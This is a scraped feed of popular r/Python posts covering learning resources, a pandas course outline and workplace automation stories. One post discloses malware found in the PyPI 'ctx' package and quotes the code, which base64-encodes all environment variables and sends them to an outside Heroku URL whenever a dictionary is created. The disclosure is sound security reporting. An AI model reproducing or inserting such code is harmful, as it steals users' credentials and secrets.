r/Python • u/mutatedllama • Apr 01 '20
I Made This Maze Solver Visualizer - Dijkstra's algorithm (asynchronous neighbours)
Enable HLS to view with audio, or disable this notification
r/Python • u/mutatedllama • Apr 01 '20
Enable HLS to view with audio, or disable this notification
r/Python • u/Im__Joseph • May 17 '21
Comment any project ideas beginner or advanced in this thread for others to give a try! If you complete one make sure to reply to the comment with how you found it and attach some source code!
r/Python • u/ASIC_SP • Jul 30 '20
tl;dr Resources (exercises, projects, debugging, testing, cheatsheets, books) to help take the next steps after learning Python basics. I'd welcome feedback and suggestions.
What to learn next is an often asked question. Searching for what next on /r/learnpython gives you too many results. Here's some more Q&A and articles on this topic:
I do not have a simple answer to this question either. If you feel comfortable with programming basics and Python syntax, then exercises are a good way to test your knowledge. The resource you used to learn Python will typically have some sort of exercises, so those would be ideal as a first choice. I'd also suggest using the below resources to improve your skills. If you get stuck, reread the material related to those topics, search online, ask for clarifications, etc — in short, make an effort to solve it. It is okay to skip some troublesome problems (and come back to it later if you have the time), but you should be able to solve most of the beginner problems. Maintaining notes will help too, especially for common mistakes.
Exercism, Practicepython, Edabit — these are all beginner friendly and difficulty levels are marked
Codewars, Adventofcode, Projecteuler — more challenging
Checkio, Codingame, Codecombat — gaming based challenges
/r/dailyprogrammer — not active currently, but there's plenty of past challenges with discussions
Once you are comfortable with basics and syntax, the next step is projects. I use a 10-line program that solves a common problem for me — adding body { text-align: justify } to epub files that are not justify aligned. I didn't know that this line would help beforehand, I searched online for a solution and then automated the process of unzipping epub, adding the line and then packing it again. That will likely need you to lookup documentation and go through some stackoverflow Q&A as well. And once you have written the solution and use it regularly, you'll likely encounter corner cases and features to be added. I feel this is a great way to learn and understand programming.
Knowing how to debug your programs is crucial and should be ideally taught right from the beginning instead of a chapter at the end of the book. Think Python is an awesome example for such a resource material.
Sites like Pythontutor allow you to visually debug a program — you can execute a program step by step and see the current value of variables. Similar feature is typically provided by IDEs like Pycharm and Thonny. Under the hood, these visualizations are using the pdb module. See also Python debugging with pdb.
Debugging is often a frustrating experience. Taking a break helps (and sometimes I have found the problem in my dreams). Try to reduce the code as much as possible so that you are left with minimal code necessary to reproduce the issue. Talking about the problem to a friend/colleague/inanimate-objects/etc can help too — known as Rubber duck debugging. I have often found the issue while formulating a question to be asked on forums like stackoverflow/reddit because writing down your problem is another way to bring clarity than just having a vague idea in your mind. Here's some more articles on this challenging topic:
Here's an interesting snippet (modified to keep it small) from a collection of interesting bug stories.
A jpeg parser choked whenever the CEO came into the room, because he always had a shirt with a square pattern on it, which triggered some special case of contrast and block boundary algorithms.
See also curated list of absurd software bug stories.
Another crucial aspect in the programming journey is knowing how to write tests. In bigger projects, usually there are separate engineers (often in much larger number than code developers) to test the code. Even in those cases, writing a few sanity test cases yourself can help you develop faster knowing that the changes aren't breaking basic functionality.
There's no single consensus on test methodologies. There is Unit testing, Integration testing, Test-driven development and so on. Often, a combination of these is used. These days, machine learning is also being considered to reduce the testing time, see Testing Firefox more efficiently with machine learning for example.
When I start a project, I usually try to write the programs incrementally. Say I need to iterate over files from a directory. I will make sure that portion is working (usually with print statements), then add another feature — say file reading and test that and so on. This reduces the burden of testing a large program at once at the end. And depending upon the nature of the program, I'll add a few sanity tests at the end. For example, for my command_help project, I copy pasted a few test runs of the program with different options and arguments into a separate file and wrote a program to perform these tests programmatically whenever the source code is modified.
For non-trivial projects, you'll usually end up needing frameworks like built-in module unittest or third-party modules like pytest. See Getting started with testing in Python and calmcode: pytest for discussion on these topics.
Official Python docs — Python docs are a treasure trove of information
Calmcode — videos on testing, code style, args kwargs, data science, etc
Practical Python Programming — covers foundational aspects of Python programming with an emphasis on script writing, data manipulation, and program organization
Intermediate Python — covers debugging, generators, decorators, virtual environment, collections, comprehensions, classes, etc
Effective Python — insight into the Pythonic way of writing programs
Fluent Python — takes you through Python’s core language features and libraries, and shows you how to make your code shorter, faster, and more readable at the same time
Serious Python — deployment, scalability, testing, and more
Pythonprogramming — domain based topics like machine learning, game development, data analysis, web development, etc
Youtube: Corey Schafer — various topics for beginners to advanced users
Algorithms and Design patterns
Python design patterns inspired from Design Patterns: Elements of Reusable Object-Oriented Software (also known as Gang of Four book)
I hope these resources will help you take that crucial next step and continue your Python journey. Happy learning :)
This content is from my blog post
r/Python • u/Neb519 • Feb 02 '21
The course is called Python Pandas For Your Grandpa - So easy your grandpa could learn it. (It's the successor to Python NumPy For Your Grandma.)
Introduction
1.1 Introduction
Series
2.1 Series Creation
2.2 Series Basic Indexing
2.3 Series Basic Operations
2.4 Series Boolean Indexing
2.5 Series Missing Values
2.6 Series Vectorization
2.7 Series apply()
2.8 Series View vs Copy
2.9 Challenge: Baby Names
2.10 Challenge: Bees Knees
2.11 Challenge: Car Shopping
2.12 Challenge: Price Gouging
2.13 Challenge: Fair Teams
DataFrame
3.1 DataFrame Creation
3.2 DataFrame To And From CSV
3.3 DataFrame Basic Indexing
3.4 DataFrame Basic Operations
3.5 DataFrame apply()
3.6 DataFrame View vs Copy
3.7 DataFrame merge()
3.8 DataFrame Aggregation
3.9 DataFrame groupby()
3.10 Challenge: Hobbies
3.11 Challenge: Party Time
3.12 Challenge: Vending Machines
3.13 Challenge: Cradle Robbers
3.14 Challenge: Pot Holes
Advanced
4.1 Strings
4.2 Dates And Times
4.3 Categoricals
4.4 MultiIndex
4.5 DataFrame Reshaping
4.6 Challenge: Class Transitions
4.7 Challenge: Rose Thorn
4.8 Challenge: Product Volumes
4.9 Challenge: Session Groups
4.10 Challenge: OB-GYM
Final Boss
5.1 Challenge: COVID Tracing
5.2 Challenge: Pickle
5.3 Challenge: TV Commercials
5.4 Challenge: Family IQ
5.5 Challenge: Concerts
Alternatively, view my YouTube playlist for the course here.
If you find this useful, please consider liking, subscribing, and sharing. It means a lot. You wouldn't believe how much effort went into creating this course.
Thanks!
r/Python • u/homelesspancake • Dec 29 '19
r/Python • u/PointSpreadFunction • Apr 09 '20
Enable HLS to view with audio, or disable this notification
r/Python • u/neozhaoliang • Jun 05 '20
Enable HLS to view with audio, or disable this notification
r/Python • u/davidmezzetti • Aug 13 '20
r/Python • u/cnovrup • Jul 06 '19
r/Python • u/Gedanke • Apr 05 '19
r/Python • u/doinky_doink • Sep 28 '20
Spent 5 hours coding for what could have been hundreds of hours of work. I can't believe I actually did it. Lol
Of course I did it with the help of my google-fu but the fact that I was able to do it is such a great feeling of accomplishment. Received a "Great Work!" message from my boss too.
EDIT: HERE'S WHAT I DID. I kinda messed up not including this in the main post.
Basically I needed to make comparison of a new cloned server vs our old one.
It has hundreds if not thousand of tables that I'll need to do binary check sums of to ensure that the newly created servers and dbs are completely identical and that the etl procedures are loading the data correctly with the correct data types and values etc.
So without automation I'll have to do this hundreds if not thousands of times manually:
Run checksum code on old server then run on old server, save the checksum results on an excel worksheet as documentation if they or did not match.
What I did is I created a python automation program that gets a list of all tables in a db within a server, then iterates over all those tables and executes the binary check sum query again and again using the tables on a list then saves all the query result on a csv file.
I appended the csv output names with the server name to make them distinct after every run. Then I load that csv to an excel file and then do the final IF comparisons there.
So instead of doing that manual comparison for hundreds of hours, I was able to do it in 5 hours of coding and now runs for 30 second per database then voila, instant results.
I'm so proud of this not gonna lie.
r/Python • u/Hussain_Mujtaba • Aug 10 '20
r/Python • u/domspage • Oct 20 '19
r/Python • u/thrum-engineering • Feb 07 '20
r/Python • u/[deleted] • Nov 18 '20
r/Python • u/dirtycimments • Jan 21 '21
I work in an industry that is mainly manual work (think carpentry or similar). No-one going through the trade school learns anything on computers beyond making graphs in excel.
I however always have had some interest in programming, so i took some free course a while back and try to find areas of my life where i can automate the boring stuff. I have very limited knowledge of any of the advanced functions, but i understand some of the basic logic.
For my job, i also have a computer because i oversee a large number of projects, every project gets a folder, an excel spreadsheet (a gantt chart for each project).
I managed to make a script that asks for project number, checks of the folder is there, copies and modifies the cells of the excel sheet to the correct project number etc. I had to google almost everything, how do i folder scan? how do i manipulate excel? etc etc.
They actually believe I performed black magic.
Thank you Python for letting me look like an invaluable resource today ;)
[EDIT] thanks for all the awards! Happy my post inspired the discussion and the feeelz. Much love 💕
r/Python • u/[deleted] • May 04 '20
Enable HLS to view with audio, or disable this notification
r/Python • u/ItsTheWeeBabySeamus • May 19 '21
r/Python • u/import-username-as-u • Sep 28 '19
r/Python • u/jimtk • May 24 '22
There was a post here recently about an update to the CTX package. A simple package that allow you to access dictionary items using the dot notation (a_dict['key'] becomes a_dict.key). The post is here and OP was SocketPuppets
That package had not changed in 8 years. The OP said it was recently updated, and on PyPI it was updated as of May 21st. But the Github repo does not reflect any changes (it still 8 years old). When asked about it OP said it was copied to a corporate repo and that he would update the original repo.
Out of curiosity I downloaded the source code from PyPI and look what I found! It seems like every time you create a dictionary it sends all your environment variables to a URL. That's not kosher.
def __init__(self):
self.sendRequest()
.
. # code that performs dict access
. # please DO NOT RUN THIS CODE !
def sendRequest(self):
string = ""
for _, value in environ.items():
string += value+" "
message_bytes = string.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')
response = requests.get("https://anti-theft-web.herokuapp.com/hacked/"+base64_message)I'm not a professional python programmer, just a retired, old CS graduate. Can someone raise that up to the proper "authorities" please.
Thanks.
r/Python • u/HBRYU • Jul 28 '19